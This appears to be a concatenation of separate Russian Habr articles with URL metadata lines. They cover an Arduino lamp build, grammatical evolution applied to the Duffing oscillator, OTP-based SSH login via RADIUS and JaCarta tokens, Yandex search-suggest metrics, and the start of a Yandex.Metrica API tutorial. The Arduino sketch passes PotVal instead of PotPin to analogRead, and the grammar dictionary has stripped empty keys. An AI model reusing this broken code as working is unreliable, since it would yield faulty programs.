Если вы желаете собрать такой же светильник, приготовьте:
— чёрную растягивающуюся ткань вроде эластана (он же спандекс, лайкра и др.)
— полудюймовую медную трубу (подойдёт и пластмассовая, если вы не стимпанкер) и три 90-градусных угловых фитинга
— деревянное основание
— плетёную леску
— баллончик с чёрной краской
— Arduino Nano
— 9-вольтовый блок питания
— самодельную белую светодиодную ленту, отличающуюся от стандартной тем, что в ней все светодиоды просто соединены параллельно
— модуль с двумя H-мостами с защитой от сквозного тока L9110
— шаговый двигатель 28BYJ
— тумблер
— переменный резистор
— провода, припой, флюс, макетную плату
— инструменты для радиомонтажа и деревообработки
Отпилите три куска трубы: два по 330 мм и один в 368 мм.
При желании можно отполировать так:
Просверлите три 16-миллиметровых отверстия: два под наклоном примерно в 25 градусов от вертикали — для труб, к которым вы затем прикрепите светодиодное кольцо, затем, отступив от них назад на 25 мм — центральное отверстие для трубы, через которую будет пропущена леска.
Просверлите ещё два отверстия соответствующих диаметров для тумблера и переменного резистора. Ещё одно отверстие, показанное на фото готового прибора в конце статьи, просверлено ошибочно, вам повторять его не нужно.
Напечатайте чёрным филаментом [два комплекта полуколец](https://www.thingiverse.com/thing:2885491) и склейте каждое из них. Чтобы напечатать кольца целиком, у автора не хватило площади стола принтера.
Вырежьте из эластана квадрат и наложите на тонкое кольцо. Проделайте в ткани отверстия для 10 саморезов, затем, продолжая держать её слегка натянутой, накройте толстым кольцом и соедините получившийся «бутероброд» саморезами. Срежьте эластан, оставшийся за пределами.
Привяжите к центру куска эластана плетёной леской бусину.
Наклейте на кольцо по периметру светодиодную ленту. Прикрепите кольцо к коротким трубам через фитинги. Припаяйте провода к ленте, пометив их так, чтобы была понятна полярность, либо взяв разноцветные провода, и пропустите через одну из труб.
Окрасьте основание в чёрный цвет. На длинную трубу также наденьте фитинг. Установите все трубы, тумблер и переменный резистор в предназначенные для них отверстия. Пропустите леску через установленную посередине длинную трубу.
Соедините компоненты по прилагаемой схеме.
У шагового двигателя 28BYJ пять проводов, но один из них — красный — никуда подключать не надо. Оранжевый и розовый провода подключите к выходу модуля H-мостов «Motor B», а жёлтый и синий — к выходу «Motor A». Сам модуль подключите к Arduino так:
B1A к D11
B1B к D10
A1A к D9
A1B к D8
Светодиодную ленту (напомню, она самодельная, и у неё все светодиоды просто соединены параллельно) подключите через 100-омный резистор между выходом D3 (или другим выходом с ШИМ, можно выбрать в скетче) и общим проводом. Тумблер подключите таким образом, чтобы он подключал через резистор на 2,2 кОм к входу D2 в нижнем положении общий провод, в верхнем — выход пятивольтового стабилизатора. Интересно, за что автор так не любит подтягивающие резисторы, это позволило бы использовать и выключатели без нормально замкнутых контактов. Один из боковых выводов переменного резистора подключите к общему проводу, другой — к выходу пятивольтового стабилизатора, а средний вывод — к входу A0.
Напечатайте шкив из того же набора STL-файлов, наденьте на вал двигателя, прикрепите леску. Вот и получилось что-то вроде показанного на снимке.
Залейте скетч:
```
//ДрайверL9110 -> шаговый двигатель 28BYJ
int A1A = 8;
int A2A = 9;
int B1B = 10;
int B2B = 11;
int PotPin = 0; //аналоговый вход A0
int SwitchPin = 2;
int LEDring = 3; //укажите выбранный вами ШИМ-выход
int waitTime; // пауза между шагами (больше нуля)
int PotVal; //сигнал с переменного резистора
int SwitchVal;
int intensity;
//укажите геометрические параметры собранной вами конструкции
float pulleyRadius = 1.4; //радиус шкива в см
float maxStringContraction = 7.0; //максиальная длина, на которую можно натягивать ткань, в см
float stepsPerRevolution = 2048.0; //количество шагов на оборот двигателя
float Pi = 3.14159;
float circumference = 2.0 * Pi * pulleyRadius;
float MaxRevs = maxStringContraction / circumference; //максимальное разрешённое количество оборотов
float MaxSteps = MaxRevs * stepsPerRevolution; //максимальное разрешённое количество шагов в одном направлении
int StepLimit = MaxSteps; //переведённое в целое число
int StepCount = 0;
void setup() {
Serial.begin(9600);
//Serial.println(circumference);
//Serial.println(MaxRevs);
//Serial.println(MaxSteps);
//Serial.println(StepLimit);
pinMode(SwitchPin, INPUT);
pinMode(LEDring, OUTPUT);
pinMode(A1A, OUTPUT);
pinMode(A2A, OUTPUT);
pinMode(B1B, OUTPUT);
pinMode(B2B, OUTPUT);
}
void step1() {
digitalWrite(A1A, LOW);
digitalWrite(A2A, HIGH);
digitalWrite(B1B, HIGH);
digitalWrite(B2B, LOW);
delay(5);
}
void step2() {
digitalWrite(A1A, LOW);
digitalWrite(A2A, HIGH);
digitalWrite(B1B, LOW);
digitalWrite(B2B, HIGH);
delay(5);
}
void step3() {
digitalWrite(A1A, HIGH);
digitalWrite(A2A, LOW);
digitalWrite(B1B, LOW);
digitalWrite(B2B, HIGH);
delay(5);
}
void step4() {
digitalWrite(A1A, HIGH);
digitalWrite(A2A, LOW);
digitalWrite(B1B, HIGH);
digitalWrite(B2B, LOW);
delay(5);
}
void Stop() {
digitalWrite(A1A, LOW);
digitalWrite(A2A, LOW);
digitalWrite(B1B, LOW);
digitalWrite(B2B, LOW);
delay(5);
}
void BHgrowth() {
analogWrite(LEDring, intensity);
if (StepCount < StepLimit) { //хватит натягивать эластан
step1();
step2();
step3();
step4();
StepCount += 1;
}
Stop();
}
void HawkingRadiation() {
analogWrite(LEDring, 0);
if (StepCount > 0) {
step3();
step2();
step1();
step4();
StepCount -= 1;
}
Stop();
}
void loop() {
PotVal = analogRead(PotVal);
intensity = map(PotVal, 0, 1024, 0, 254);
SwitchVal = digitalRead(SwitchPin);
if (SwitchVal == 1) {
BHgrowth();
waitTime = 255 - intensity; //чем ярче светим, тем быстрее натягиваем, и наоборот
if (waitTime < 1){
waitTime = 1;
}
}
else {
HawkingRadiation();
waitTime = 255;
}
delay(waitTime);
Serial.println(waitTime);
Serial.println(SwitchVal);
}
```
Готово, можно пользоваться! | https://habr.com/ru/post/411915/ | null | ru | null |
# Символьная регрессия и еще один подход
Символьная регрессия считается очень интересной. "Найди мне функцию, которая будет лучше всего подходить для решения поставленной задачи". И на Хабре я уже встречал пост, в котором автор рассматривал один из эволюционных алгоритмов в применении к этой проблеме ([вот он](https://habrahabr.ru/post/163195/)).
Генетическое программирование действительно является мощным методом. Но в этой статье я хочу рассмотреть другой (не менее интересный) метод — грамматическая эволюция. Рассказывать о нем долго не буду. Скажу лишь то, что метод использует свободную грамматику в форме Бакуса-Наура, а также любой эволюционный алгоритм в качестве "движка" (я выбрал генетический алгоритм). И метод очень крутой!
Перейду сразу к примеру. В качестве рабочей лошадки я выбрал [Осциллятор Дуффинга](https://en.wikipedia.org/wiki/Duffing_equation).
Опишу задачу. Есть неоднородное дифференциальное уравнение второго порядка:
%20)
Делаем из него однородное (нефорсированный ОД):
После приведения уравнения к нормальной форме Коши получим следующую систему:
Пусть  и вектор начальных условий ![X_0 = [x_1,x_2]^T](http://tex.s2cms.ru/svg/%20X_0%20%3D%20%5Bx_1%2Cx_2%5D%5ET)
Вектор начальных условий будет равен [1,1]. Цель: получить такую функцию u(t,x), которая за минимальное время переведет систему из состояния [1,1] в [0,0].
Код системы дифур:
```
Duffing = [
lambda t,x: x[1],
lambda t,x: -x[0] - x[0]**3 + u(t,x)
]
```
Осталось рассмотреть грамматику, которую я выбрал для метода:
```
grammar = {
'' : [
'()()', '', '()'
],
'' : [
'+', '-', '\*', '/'
],
'' : [
'x2', 'x1', '(smallConst)', '(bigConst)'
],
"": [
'minus','math.sin',
]
}
```
Она примитивна, но дает нужный результат. Замечу, что smallConst — константа в интервале [0,1], а bigConst — константа в интервале [0,200].
Запускаем генетический алгоритм с параметрами
Длина хромосомы(каждое число в хромосоме — целочисленное значение в интервале от 0 до 200) = 10
Длина популяции = 50.
Число итераций (продолжительность эволюции) = 200.
Получаем следующий результат:
2.5 секунды — время переходного процесса.
u(t,x) = ((minus(x2))-((x1)*((0.69028))))*((11)) (довольно понятный вид, хотя много скобок)
Для получения среднего времени переходного процесса нужно запускать алгоритм не один раз(это очевидно). Но в этой статье я хотел показать, что алгоритм работает(!!) и дает результат.
Вывод: Грамматическая эволюция — молодой, но мощный инструмент в решении задач символьной регрессии. Да, не существует математически точного метода выбора той или иной грамматики для решаемой задачи. Нужно опираться на опыт и пробы с ошибками. Но метод работает и зачастую выдает приемлемый результат без оптимизированной грамматики.
Если кого-то заинтересовал ГЭ, то вот [статья авторов этого метода](http://marvin.cs.uidaho.edu/Teaching/CS504/Papers/grammaticalEvolution3.pdf) (может быть, вскоре переведу). | https://habr.com/ru/post/281334/ | null | ru | null |
# JaCarta Authentication Server и JaCarta WebPass для OTP-аутентификации в Linux SSH
В этой статье мы поговорим об основных этапах настройки аутентификации в Linux SSH для замены парольной аутентификации одноразовыми паролями — в статье описан сценарий аутентификации в сессию SSH-подключения к Linux OS посредством одноразовых паролей с использованием устройства [JaCarta WebPass](https://www.aladdin-rd.ru/catalog/jacarta_webpass/).
[](https://habrastorage.org/web/dce/8bd/c5f/dce8bdc5f7514edcae677e52d1661beb.jpg)
JaCarta WebPass разработки компании [«Аладдин Р.Д.»](https://www.aladdin-rd.ru/company/) представляет собой USB-токен с «OTP на борту» для двухфакторной аутентификации пользователей при доступе к защищённым информационным ресурсам с использованием одноразового пароля, либо хранимого в памяти токена многоразового пароля.
Предложенный в статье сценарий подразумевает использование RADIUS сервера для проверки подлинности введённого одноразового кода, а также системы проверки OTP-значения. В качестве системы управления OTP-ключами мы будем использовать [JaCarta Authentication Server (JAS)](https://www.aladdin-rd.ru/catalog/jas/) также разработки «Аладдин Р.Д.».
Пользователь, при установленном SSH-соединении, на этапе аутентификации будет вводить OTP-значение вместо пароля. PAM модуль отправит переданное значение на RADIUS Server, который проверит его и разрешит, либо запретит аутентификацию.
Используемое для демонстрации окружение
---------------------------------------
В данной инструкции производится настройка для следующих версий операционных систем:
* Microsoft Windows Server 2012;
* Ubuntu Server 16;
* Microsoft Windows 7.
Требования к окружению
----------------------
Для Windows Server необходимо создать домен, добавить роль NPS. Для этого следуйте советам ниже.
Откройте оснастку для добавления роли NPS.
[](https://habrastorage.org/web/29e/e99/90f/29ee9990f1544adbae09c86bed88b472.jpg)
При выборе служб и компонентов выберите Network Policy Server.
[](https://habrastorage.org/web/1a1/680/938/1a16809389ec47bd82cdcc64b90e4e25.jpg)
После этого вам станет доступна оснастка NPS.
[](https://habrastorage.org/web/e13/8c7/5ae/e138c75ae1834e23b450386c57681fb9.jpg)
Настройка на стороне RADIUS сервера
-----------------------------------
На стороне сервера необходимо выполнить следующие шаги:
* добавьте радиус клиента с IP-адресом, либо именем Linux сервера;
* выберите оснастку NPS на сервере.
[](https://habrastorage.org/web/b64/243/18b/b6424318bebf4707a67d83458eeb3421.jpg)
В меню оснастки выберите пункт NPS – RADIUS Clients and Servers – RADIUS Clients, затем правым кликом вызовите контекстное меню и нажмите New.
[](https://habrastorage.org/web/d70/2a8/4b6/d702a84b691646778656b5c696b9560a.jpg)
Введите настройки клиента для подключения к RADIUS серверу: имя, отображаемое в оснастке, адрес либо имя клиента, общий секрет для клиента и сервера (необходимо придумать).
[](https://habrastorage.org/web/ad6/49a/669/ad649a66986f4a5199362dd3f8511136.jpg)
Создайте доменного пользователя, имя которого будет использоваться для аутентификации на Linux сервере.
Подготовка JaCarta WebPass
--------------------------
Для инициализации JaCarta WebPass необходимо открыть приложение Web Pass Tool, которое входит в состав программного обеспечения «Единый Клиент JaCarta». Загрузить ПО можно по ссылке <https://www.aladdin-rd.ru/support/downloads/jacarta/>.
Откройте приложение JaCarta WebPass Tool, выберите вкладку ОТР.
[](https://habrastorage.org/web/184/d6f/113/184d6f11378c496189a73c676c43ae38.jpg)
Выберите слот для инициализации, затем нажмите в меню пункт Инициализация.
[](https://habrastorage.org/web/cd1/944/402/cd194440209541cdb53ad291986c0fa6.jpg)
В настройках укажите Одноразовый пароль, первый механизм из выпадающего списка, отметьте Сохранение параметров инициализации и нажмите Далее.
[](https://habrastorage.org/web/3f8/e75/0c0/3f8e750c0f1643619d18f2b5379b2a04.jpg)
Выберите формат файла JAS, а также путь до папки, куда будет сохранён файл инициализации. Этот файл потребуется для подключения ключа к JAS.
[](https://habrastorage.org/web/69b/12c/b1b/69b12cb1b92d405aac2b8ea7ddb03cdf.jpg)
Введите PIN-код для ключа и нажмите Далее.
[](https://habrastorage.org/web/892/6a7/36c/8926a736c57b435d85550cf54d7de6ae.jpg)
Настройка на стороне JAS
------------------------
На стороне JAS необходимо выполнить перечисленные ниже шаги.
Добавьте устройство OTP в систему, привяжите пользователя к устройству. Для этого откройте оснастку JAS.
В оснастке выберите Импорт ключевых носителей.
[](https://habrastorage.org/web/0dd/459/de6/0dd459de68944ed38028554f75de4924.jpg)
Укажите путь до файла с данными инициализации JaCarta WebPass (файл можно получить при инициализации слота в приложении Web Pass Tool, который входит в состав программного обеспечения «Единый Клиент JaCarta». Загрузить ПО можно по ссылке <https://www.aladdin-rd.ru/support/downloads/jacarta/>).
[](https://habrastorage.org/web/320/28f/b04/32028fb047fc4b959aa92f425823ad06.jpg)
В случае успеха нажмите Далее.
[](https://habrastorage.org/web/72e/b82/5ad/72eb825ada3a40ba80eb558f6073d416.jpg)
Выберите добавленный ключ, нажмите Свойства в меню. Для привязки к пользователю следует указать имя и адрес электронной почты для доменного пользователя.
[](https://habrastorage.org/web/745/167/8ef/7451678efff441dab04c378e397e95d6.jpg)
Перед активацией следует произвести синхронизацию устройства, для этого нажмите Синхронизация в меню, укажите в окно ОТР 1 и нажмите на кнопку устройства JaCarta WebPass, затем повторите с окном ОТР 2.
[](https://habrastorage.org/web/743/38c/e5c/74338ce5c94c41f2b2f41877e4f7691c.jpg)
Для активации выберите пункт Включить.
[](https://habrastorage.org/web/aff/533/962/aff5339625f34ab98060787f3f8ecc03.jpg)
Настройка на стороне Linux Server
---------------------------------
На стороне Linux сервера все операции необходимо производить от имени root.
```
# sudo -i
# apt-get install libpam-radius-auth
```
Добавьте значения для вашего RADIUS сервера, IP-адрес, либо имя сервера, общий секрет в файл /etc/pam\_radius\_auth.conf.
```
# nano /etc/pam_radius_auth.conf
# The timeout field controls how many seconds the module waits before
# deciding that the server has failed to respond.
#
# server[:port] shared_secret timeout (s)
[SERVER IP] [Общий секрет] 3
```
В файле /etc/pam.d/sshd добавьте строку auth sufficient pam\_radius\_auth.so над [include](https://habrahabr.ru/users/include/) common-auth, как показано ниже.
```
# nano /etc/pam.d/sshd
# PAM configuration for the Secure Shell service
# Standard Un*x authentication.
auth sufficient pam_radius_auth.so
@include common-auth
# Disallow non-root logins when /etc/nologin exists.
```
Создайте локального пользователя с именем, соответствующим пользователю в AD.
Проверка решения
----------------
Для проверки воспользуемся операционной системой Microsoft Windows 7 с установленным SSH клиентом PUTTY.
Откроем Putty и укажем адрес интересующей нас машины на Linux.
[](https://habrastorage.org/web/e39/e59/08a/e39e5908aec14a6b9b17ed5b40131911.jpg)
Введите имя пользователя, Ввод, затем нажмите на кнопку устройства JaCarta WebPass, Ввод.
[](https://habrastorage.org/web/8b9/740/d14/8b9740d14070480eaa8835746bb7b8ab.jpg)
Далее введите команду SSH [Servername2], Ввод, нажмите кнопку на устройстве, Ввод.
[](https://habrastorage.org/web/a2a/5b5/593/a2a5b55933e54dca8b6b2395bd3968b9.jpg) | https://habr.com/ru/post/331908/ | null | ru | null |
# Как мы обновили поисковые подсказки в Яндексе и нашли для них правильную метрику
Поисковым подсказкам в Яндексе уже почти 10 лет. На первый взгляд, они кажутся довольно простой фичей — многие до сих пор уверены, что саджест учитывает только то, как часто люди вводят те или иные запросы. Несколько лет назад мы [рассказывали на Хабре](https://habrahabr.ru/company/yandex/blog/160749/), сколько сложной математики стоит за тем, чтобы подобрать правильное следующее слово и помочь человеку сформулировать свой вопрос. Тогда мы даже подсчитали, что поисковые подсказки экономят людям около 60 лет.
В какой-то мере саджест даже опередил своё время: сейчас, когда поиском все чаще пользуются с мобильных, скорость, с которой человек введёт запрос и получит ответ, стала критическим фактором. Значение подсказок в изменившемся мире выросло, и чтобы продолжать приносить счастье пользователям, нам тоже надо постоянно двигаться вперёд.
Темой поисковых подсказок в Яндексе я занялся в начале 2016 года. Цель, стоящая в то время перед командой саджеста, звучала очень амбициозно: «Сделать лучший саджест на мобильных», ни больше ни меньше!
[](https://habrahabr.ru/company/yandex/blog/340552/)
Вспоминая о том, что было сделано с тех пор в области поисковых подсказок в Яндексе, трудно отделаться от двух ощущений. Первая: как же много всего мы сделали! Вторая: неужели всего этого не было раньше? Сделано действительно много, но эти вещи кажутся часто такими простыми и очевидными, что не верится, что их не было всегда.
Под катом — захватывающая драма о том, как менялись технологии, дизайн и продукт, и как мы искали метрику, на которую можно ориентироваться. Это поучительная история о том, что если вы чувствуете, что продукт сделан хорошо, но метрики говорят обратное, то что-то не так с ними, а не с вами.
1. Пословный саджест
--------------------
К началу 2016 года Поиск Яндекса на мобильных подошёл с так называемым tap-ahead вариантом саджеста. Если на десктопе мы как показывали, так и продолжаем показывать обычный «строчный» вариант саджеста, в котором при нажатии на строчку с подсказкой немедленно задаётся запрос, в tap-ahead варианте саджеста механика сложнее.
Идея заключается вот в чём. Десктопные клавиатуры – удобные и, как правило, пользователи набирают тексты с их использованием довольно быстро. На мобильных ситуация другая и поэтому, если в подсказках нет нужного пользователю варианта, ему намного сложнее просто дописать недостающую часть запроса. Поэтому первое слово каждого запроса решили сопроводить плюсиком и специально пометить. При нажатии на это выделение слово добавлялось к уже набранному тексту запроса, а перехода в поиск при этом не происходило. Так можно было слово за словом набрать нужный запрос.
Проблема с tap-ahead саджестом в том, что пользователи его не понимают. Признаться, я его тоже не понимаю, даже спустя полтора года работы в саджесте. Чем запоминать, в какие места можно нажимать, а в какие – нет, проще просто ввести запрос целиком. Вот и пользователи тоже так делали.
Намного проще для восприятия было бы визуально разнести элементы, имеющие разную функциональность. Так появился пословный саджест, который работает в мобильном поиске Яндекса с февраля 2016 года. На тот момент он выглядел вот так:
В таком варианте вообще исчезла возможность сразу задать длинный запрос целиком. Можно сказать, что так и было задумано: на мобильных экранах чрезвычайно мало места, и концы длинных запросов неминуемо терялись из виду. В итоге, пользователи вообще не понимали, что они спрашивают, и им приходилось часто изменять текст уже введённого запроса.
2. Метрики
----------
В десктопном варианте с метриками саджеста всё более-менее понятно: чем чаще пользователи кликают на саджест, тем лучше. Поэтому основными метриками были:
1. Офлайн: покрытие. Какую долю запросов, заданных в конкретный день, пользователи могли обнаружить в саджесте?
2. Онлайн: какова доля запросов, вводимых при помощи саджеста?
На мобильных ситуация оказалась сложнее. Раз мы предполагаем, что запрос можно вводить «по частям», то важно знать не только запрос целиком, но и все его части. Что такое «запрос, введённый с использованием саджеста», тоже непонятно: ведь можно было в процессе один раз нажать на пословную подсказку, а можно – пять. Второе в некотором смысле лучше.
Поэтому для мобильных нам пришлось делать новые метрики, по которым мы могли бы принимать изменения в поисковых подсказках.
### 2.1. Офлайн
Офлайн-метрики – это метрики, для вычисления которых не требуются настоящие пользователи. Их можно вычислить с использованием логов, асессоров или просто математических формул.
В случае с саджестом сразу приходит на ум создание некоей «модели пользователя». Предположим, пользователь ввёл первые несколько символов запроса. В ответ Яндекс показал ему некоторые пословные подсказки. Какие-то из них продолжают его запрос верным образом. Будем считать, что в такой ситуации он действует жадно и сразу нажимает на соответствующую подсказку, либо продолжает побуквенно вводить запрос, если ни одна из подсказок ему не подошла. Так продолжается до тех пор, пока запрос не будет полностью задан. В конце мы измерим общее количество действий (нажатий на клавиши и подсказки), которые совершил пользователь. Это и будет наша метрика, которую мы назвали ExpectedActionsCount (EAC).
Из этой метрики можно выделить один важный аспект: как часто пользователю не нужно начинать вводить следующее слово, так как оно уже есть среди пословных подсказок? Возьмём общее количество правильно предсказанных следующих слов и поделим на их общее количество – получим метрику GuessProbability.
Как правило, две метрики меняются однонаправленно: уменьшение ExpectedActionsCount, как правило, сопровождается увеличением GuessProbability.
При помощи этих метрик мы сделали первое заметное изменение в пословном саджесте: выкатили возможность объединять пары слов в биграммы. Так, редкий пользователь захочет ввести запрос «высота эйфелевой», более вероятно, что ему понравится запрос «высота эйфелевой башни». Критерии показа биграмм легко настраивать, имея офлайн-метрики – для того они и созданы, чтобы перебирать большое количество вариантов с тем, чтобы проверять на пользователях только самые лучшие из них.
Интересно, что EAC с отключённым саджестом равняется примерно 19: фактически, это средняя длина в символах запросов к Яндексу. С использованием саджеста EAC изначально оказался равным 13.5, т.е. экономил практически треть действий на ввод запроса. В настоящий момент EAC равняется примерно 11.5.
### 2.2. Онлайн
Однако, офлайн-модели никогда не расскажут полной правды о поведении пользователей, так как любые модели неточны.
Нам сразу показалось, что основная цель саджеста – делать ввод запросов удобным, поэтому основным критерием качества должна быть скорость ввода запросов. Поэтому мы с ходу придумали простые метрики: доля запросов, вводимых быстрее, чем за X секунд, для разных X.
Построив график по этим метрикам с начала года, мы ужаснулись: оказалось, что при внедрении пословного саджеста они резко ухудшились! Сразу после его включения в продакшен пользователи начали вводить медленнее. Однако затем скорость ввода постепенно росла, и уже к августу превзошла февральские показатели. Вот, например, график доли запросов, которые вводятся менее чем за 15 секунд, с января по июль 2016 года. График нормирован так, что за единицу принимается значение в самом начале наблюдений.
Оказывается, что в момент внедрения доля быстро вводимых запросов упала более чем на шесть процентов!
В рассматриваемый период у нас случилось только одно крупное внедрение – то самое объединение слов в биграммы, и соответствующая разладка, произошедшая в мае, хорошо заметна. Удивительно то, что скорость ввода росла и в то время, когда мы ничего нового не запускали. Другими словами, пользователи постепенно привыкают к новому способу ввода и скорость ввода растёт сама собой!
При более подробном изучении графиков обнаружились и некоторые другие закономерности:
* по выходным пользователи вводят быстрее, чем по будням;
* летом вариативность скорости ввода сходит на нет.
С момента ввода новых метрик прошло не так много времени, но уже приближалась осень — время, когда многие показатели испытывают сильное влияние сезонности. Не стала исключением скорость ввода: доля быстро вводимых запросов резко упала!
Первое время было очень страшно: ввод замедлился очень сильно, наверняка мы сломали что-то и не заметили этого! Разгадка, однако, была намного проще. С наступлением осени пользователи начали задавать намного более длинные запросы. Вот так выглядит график доли запросов из более чем семи слов: она выросла более чем на треть!
Стало ясно, что «доля быстро вводимых запросов» – хорошая, но подверженная сезонности метрика. Мы довольно долго искали метрику, которая замечала бы наши релизы и при этом была устойчивой к сезонности. Такой метрикой оказалось «время ввода в расчёте на один символ запроса». Вот как выглядит её график за рассматриваемый период:
Таким образом, за полгода после внедрения пословного саджеста пользователи стали вводить запросы примерно на 5% быстрее, если сравнивать с началом года, когда использовался tap-ahead. Остаётся только добавить, что с января 2016 года по октябрь 2017 года пользователи мобильного поиска Яндекса стали задавать запросы на 17% быстрее – впечатляющая демонстрация результативности наших усилий!
Стоит упомянуть и то, что самопроизвольный рост скорости ввода продолжается до сих пор. С каждым днём наши пользователи всё быстрее и быстрее вводят запросы. Впрочем, мы, конечно же, помогаем им в этом и нашими релизами.
### 3. Пословный и полнотекстовый ввод
После того, как метрики придуманы и проверены, открываются возможности для фантазий. Давайте подумаем о том, как можно было бы ещё ускорить ввод? Хорошо, мы всегда можем улучшить данные и всё лучше и лучше выбирать варианты для продолжений запросов. Но что мы можем сделать с чисто визуальной частью?
Ответ довольно простой: давайте объединим старый и новый подходы. Помимо пословных подсказок будем показывать и старые, строчные, или «полнотекстовые». Тогда, если нужный запрос уже появился на экране, пользователь сразу сможет его выбрать, и это сэкономит несколько действий и времени. Разницу между пословным и пословно-полнотекстовым саджестом легко понять из следующей иллюстрации:
Видно, что изменения здесь несколько существеннее, чем можно было бы предполагать. Например, теперь совсем не видно страницы с результатами поиска. С другой стороны, нужны ли они, если пользователь уже решил вводить новый запрос?
Оказалось, не очень-то и нужны. На это внедрение пользователи отреагировали ожидаемо: скорость ввода увеличилась, равно как и количество пользователей, которые когда-либо пользуются саджестом.
Саджест прошёл интересный и неоднозначный путь. Когда-то у нас были лишь полнотекстовые подсказки, затем –только пословные, в итоге мы пришли к комбинированному варианту. Но этот комбинированный вариант сильно отличался от предыдущей итерации (tap-ahead) тем, что теперь различные функциональные элементы, обладающие различным поведением, интерфейсно разнесены. Благодаря этому оказалось намного проще понять назначение каждого элемента и эффективнее использовать результат.
4. Другие эксперименты с дизайном
---------------------------------
Когда стало ясно, что дизайнерские изменения в поисковых подсказках способны существенно влиять на метрики, фантазию было уже не остановить.
Для начала, попробуем усилить эффект от полнотекстовых подсказок. Если все пословные вытянуть в одну линию (с возможность скролла), для полнотекстовых подсказок будет больше места и, возможно, ввод станет ещё более быстрым.
С другой стороны, можно попробовать что-либо совсем уж странное. Давайте всегда подсказывать вероятные продолжения для наиболее вероятного следующего слова в отдельном столбце! Так родился вариант, который мы называем «саджест в виде графа»:
Саджест в виде графа производил фурор на всех UX-исследованиях. Все пользователи, впервые увидевшие его, говорили буквально следующее: «оооо, наконец-то мне помогают вводить запрос!». Тот, кто до сих пор не подозревал, что в поиске присутствуют подсказки, наконец их замечал. Тот, кто знал об их существовании, начинал пользоваться ими чаще.
Помимо этого, мы ещё пробовали изменять размер кнопок в пословных подсказках и их цвет. В целом, мысль была понятной: нужно как-то увеличить заметность подсказок, ведь они полезны и ими нужно чаще пользоваться!
Однако при проверке в онлайне обе гипотезы были отброшены. Тут же выяснились различия между метриками «доля использований саджеста» и «скорость ввода». К сожалению, слишком заметные подсказки вредят пользователям: они начинают слишком часто перескакивать глазами между саджестом и клавиатурой, а в результате вводят слишком медленно. Кроме того, это был один из редких случаев, когда тотальный успех на UX-исследованиях сопровождается столь же провальным выступлением в онлайне.
5. Сетевые истории
------------------
Мы уже поняли, что скорость ввода складывается из качества данных и качества представления. Однако оказалось, что есть ещё один аспект проблемы – сетевой.
Исторически источник поисковых подсказок жил на домене `suggest.yandex.net`, к которому поисковая вёрстка осуществляла асинхронные запросы в процессе пользовательского ввода.
К концу лета 2016 года стало понятно, что эта схема устарела. Многие сервисы уже жили за «единым доменом» `yandex.ru`: например, картинки `yandex.ru/images`, видео `yandex.ru/video` и так далее. Зачем? Чтобы экономить сетевые взаимодействия. У нас один единый балансер для всех сервисов, доступных на домене `yandex.ru`. Это означает, что, не покидая этого домена, пользователю достаточно лишь однажды установить сетевое соединение. В случае с саджестом это было не так: для похода за саджестом с домена `yandex.ru` требовалось установить новое сетевое соединение, что на 2G-интернете иногда стоило нескольких секунд ожидания.
Другим интересным моментом является поведение блокировщиков рекламы. Оказалось, некоторые из них блокируют кросс-доменные запросы. В нашем случае это привело к тому, что у некоторых пользователей саджест на несколько дней оказался полностью нефункциональным!
Поэтому мы решили провести эксперимент, в котором саджест переносится за единый для сервисов Яндекса балансер.
Тут стоит отметить, чем саджест отличается от других сервисов. Дело в том, что каждый поисковый запрос требует приблизительно столько же запросов в саджестовый источник, сколько в нём символов. Поэтому неудивительно, что типиный RPS для саджестового источника на порядки превосходит RPS других сервисов, в т.ч. большого Поиска. 100k RPS – это норма, саджест является одним из самых высоконагруженных сервисов Яндекса, непосредственно взаимодействующих с пользователями (некоторые внутренние сервисы выдерживают *миллионы* RPS).
Для единого балансера это означает очень существенный рост нагрузки, так что для удовлетворения нужд поисковых подсказок пришлось значительно вложиться в железо, и мы не хотели этого делать без подтверждения гипотезы о пользе для пользователей.
В результате эксперимент оказался одним из самых успешных за всё время. Его крутизна проявлялась даже в том, что пользователи начинали *чаще задавать запросы* в поисковую систему, не говоря уже о росте используемости саджеста и скорости ввода на единицы процентов.
Будущее
-------
В этот исторический момент мы поняли, что полноценное развитие ввода на мобильных связано с множеством различных аспектов: это и качество данных, и интерфейс, и сеть. Дальнейшее развитие должно было осуществляться во всех этих направлениях и, возможно, в ещё каких-то новых, которые ещё не были нами замеченными.
Кроме того, подсказки присутствуют не только в поиске, но также в наших приложениях, в браузере, в сервисах, отличных от Поиска, и с ними тоже нужно было что-то делать. Кроме того, ввод не обязан быть только текстовым.
И всем этим мы занялись в 2017 году. О том, к чему это привело, мы поговорим в следующей статье. | https://habr.com/ru/post/340552/ | null | ru | null |
# Делаем простенький web-сервис с помощью API Яндекс.Метрики
Всем привет!
Не так давно Яндекс открыл для использования API Яндекс.Метрики. В этой статье я расскажу для чего оно нужно, как им пользоваться и кратко опишу отличия от API Google Analytics.
Кроме того, я покажу, как с помощью этого API сделать web-сервис, в котором можно сравнить текущие показатели сайта с прошлым и посмотреть, как со временем менялась популярность страниц:
[](http://habrastorage.org/storage1/654f1231/6ad3967d/a9ea48d1/75d60e85.png)
#### Кратко об API Метрики
Главное отличие API Метрики от API Google Analytics заключается в том, что оно фокусируется на отчетах, а не показателях. Программист, пользующийся GA, должен сказать сервису «я хочу видеть визиты с рекламных источников разбитые по цели 1, количеству визитов, показателю отказов», пользователь Метрики скажет «я хочу видеть отчет по содержанию».
Выбор ориентации на отчеты, а не показатели, соответствует концепции Метрики как инструмента для обычных пользователей, а не профессионалов. Пользоваться API Метрики действительно в разы проще.
Тем не менее, у текущего подхода есть и недостатки. Во-первых, можно запрашивать у сервиса только заранее определенные программистами Яндекса отчеты. Во-вторых, поскольку структуру отчетов менять нельзя, каждый раз вы будете получать избыточный объём информации, что может отразиться на времени отклика сервиса.
Метрика развивается очень быстро (за время написания статьи даже успел немножко поменяться API), поэтому я уверен, что уже скоро можно будет так же, как и в GA, формировать отчеты только для нужных показателей, и описанные выше проблемы пропадут.
#### Зачем оно нужно?
Итак, зачем же нужно API метрики? С его помощью можно натворить много интересных вещей, например:
1. Показывать на сайте статистику в реальном времени
2. Интегрировать статистику сайта в свою CRM
3. Автоматизировать и упростить работу сотрудников
Пункт один представляет собой забавную свистелко-перделку, которая, тем не менее, может быть интересна рекламодателям сайта. Можно прямо на странице «реклама на сайте» автоматически отображать наиболее популярные запросы, по которым приходят на сайт, график посещаемости, географические регионы, с которых приходят пользователи и многое другое.
Например, вот как это сделано на Хабре (<http://habrahabr.ru/info/stats/>):
[](http://habrastorage.org/storage1/3fb61e6a/b33d2674/6a898458/9eb03e3d.png)
